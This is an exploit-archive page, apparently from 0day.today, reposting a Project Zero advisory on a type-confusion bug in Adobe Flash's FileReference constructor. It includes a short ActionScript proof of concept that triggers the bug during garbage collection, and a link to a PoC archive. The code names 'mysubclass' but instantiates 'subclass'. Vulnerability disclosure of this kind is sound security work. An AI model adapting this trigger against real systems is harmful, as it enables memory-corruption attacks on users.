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Adobe Flash - Type Confusion in FileReference Constructor
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=799
There is a type confusion issue in the FileReference constructor. The constructor adds several properties to the constructed object before setting the type and data. If a watch is set on one of these properties, code can be called and the object can be initialized to one with a destructor before the FileReference constructor sets the object data, leading to type confusion when the object is garbage collected.
A minimal PoC is as follows:
function myfunc(){
this.__proto__ = {};
this.__proto__.__constructor__ = flash.display.BitmapData;
super(1000, 1000);
}
function mysubclass(){
this.watch("name", myfunc);
_global.ASnative(2204, 200)(this); // FileReference constructor
this.unwatch("name"); // let the reference free
}
}
var a = new subclass();
a = 0;
// wait for GC
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39829.zip
# 0day.today [2024-12-24] #